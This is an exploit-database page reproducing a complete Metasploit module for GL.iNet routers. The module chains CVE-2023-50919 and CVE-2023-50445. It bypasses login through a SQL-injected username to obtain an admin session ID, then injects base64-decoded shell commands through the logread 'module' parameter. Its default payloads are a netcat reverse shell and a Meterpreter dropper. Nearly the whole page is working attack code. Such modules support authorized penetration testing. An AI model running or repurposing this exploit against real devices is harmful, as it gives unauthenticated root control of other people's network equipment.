Lucene search
K

GL.iNet Unauthenticated Remote Command Execution Exploit

🗓️ 24 Jan 2024 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 420 Views

GL.iNet unauthenticated remote command execution

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest/md5'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GL.iNet Unauthenticated Remote Command Execution via the logread module.',
        'Description' => %q{
          A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
          to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
          interface in the `logread` module.
          This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
          by the attacker.
          However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
          through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
          retrieved without knowing a valid username and password.

          The following GL.iNet network products are vulnerable:
          - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
          - MT6000: v4.5.0 - v4.5.3;
          - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
          - E750/E750V2, MV1000: v4.3.8;
          - X3000: v4.0.0 - v4.4.2;
          - XE3000: v4.0.0 - v4.4.3;
          - SFT1200: v4.3.6;
          - and potentially others (just try ;-)

          NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads
          when using the Linux Dropper target.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'Unknown', # Discovery of the vulnerability CVE-2023-50445
          'DZONERZY' # Discovery of the vulnerability CVE-2023-50919

        ],
        'References' => [
          ['CVE', '2023-50445'],
          ['CVE', '2023-50919'],
          ['URL', 'https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445'],
          ['URL', 'https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919'],
          ['URL', 'https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html'],
          ['URL', 'https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md']
        ],
        'DisclosureDate' => '2023-12-10',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'],
              'Linemax' => 900,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('SID', [false, 'Session ID'])
    ])
  end

  def vuln_version?
    @glinet = { 'model' => nil, 'firmware' => nil, 'arch' => nil }
    # check first with version 4.x api call
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'call',
      params: [
        '',
        'ui',
        'check_initialized',
        {}
      ]
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?('result')
      res_json = res.get_json_document
      unless res_json.blank?
        @glinet['model'] = res_json['result']['model']
        @glinet['firmware'] = res_json['result']['firmware_version']
      end
    else
      # check with version 3.x api call. These versions are NOT vulnerable
      res = send_request_cgi({
        'method' => 'GET',
        'ctype' => 'application/x-www-form-urlencoded',
        'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello')
      })
      if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')
        res_json = res.get_json_document
        unless res_json.blank?
          @glinet['model'] = res_json['model']
          @glinet['firmware'] = res_json['version']
        end
      end
    end

    # check for the vulnerable models and firmware versions
    case @glinet['model']
    when 'sft1200'
      @glinet['arch'] = 'mipsle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.6')
    when 'ar750', 'ar750s', 'ar300m', 'ar300m16'
      @glinet['arch'] = 'mipsbe'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
    when 'mt300n-v2', 'mt1300'
      @glinet['arch'] = 'mipsle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
    when 'ap1300', 'b1300'
      @glinet['arch'] = 'armle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
    when 'e750', 'e750v2'
      @glinet['arch'] = 'mipsbe'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')
    when 'mv1000'
      @glinet['arch'] = 'armle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')
    when 'ax1800', 'axt1800', 'a1300'
      @glinet['arch'] = 'armle'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')
    when 'mt2500', 'mt2500a', 'mt3000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')
    when 'mt6000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.5.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.5.3')
    when 'x3000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.2')
    when 'xe3000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.3')
    end
    @glinet['arch'] = 'n/a'
    return false
  end

  def auth_bypass
    # Check if datastore['SID'] is set
    return datastore['SID'] unless datastore['SID'].blank?

    # Exploit CVE-2023-50919 to retrieve the SID without valid username and password.
    # Send an RPC request calling the challenge method, which will return a random nonce,
    # the selected root user’s salt, and the crypt’s algorithm to hash the password.
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'challenge',
      params: {
        username: 'root'
      }
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?('nonce')
      res_json = res.get_json_document
      unless res_json.blank?
        nonce = res_json['result']['nonce']
      end
    else
      fail_with(Failure::NotFound, 'Getting the random nonce failed.')
    end
    # Perform REGEX to lookup uid field from /etc/shadow to be used as password with manipulated root username
    # Use the SQL injection part to lookup the ACLs for root stored in sqlite db
    # Create the password hash which is the md5 of the concatenation of the user, password, and the retrieved nonce
    username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"
    pw = '0'
    hash = Digest::MD5.hexdigest("#{username}:#{pw}:#{nonce}")

    # Login with the password hash and obtain the SessionID (SID)
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'login',
      params: {
        username: username.to_s,
        hash: hash.to_s
      }
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?('sid')
      res_json = res.get_json_document
      unless res_json.blank?
        sid = res_json['result']['sid']
      end
    else
      fail_with(Failure::NotFound, 'Retrieving the SessionID (SID) failed.')
    end
    return sid
  end

  def execute_command(cmd, _opts = {})
    payload = Base64.strict_encode64(cmd)
    cmd = "echo #{payload}|openssl enc -base64 -d -A|sh"
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'call',
      params: [
        @sid.to_s,
        'logread',
        'get_system_log',
        {
          lines: '',
          module: "|#{cmd}"
        }
      ]
    }.to_json

    return send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'cookie' => "Admin-Token=#{@sid}",
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
  end

  def check
    print_status("Checking if #{peer} can be exploited.")
    # Check if target is a GL.iNet network device and the firmware version is vulnerable
    return CheckCode::Vulnerable("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if vuln_version?

    unless @glinet['firmware'].nil?
      # GL.iNet network devices with firmware version 3.x that are safe from this exploit
      return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.0.0')

      # GL.iNet network devices with a firmware version 4.x or higher which still could be vulnerable unless the architecture is not available (n/a)
      if @glinet['arch'] != 'n/a' && (Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0'))
        return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}")
      end
      return CheckCode::Detected("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0')
    end
    # No GL.iNet network device or not reachable
    CheckCode::Unknown('No GL.iNet network device or device is not responding.')
  end

  def exploit
    @sid = auth_bypass
    print_status("SID: #{@sid}")
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # Don't check the response here since the server won't respond
      # if the payload is successfully executed.
      execute_cmdstager({ linemax: target.opts['Linemax'] })
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation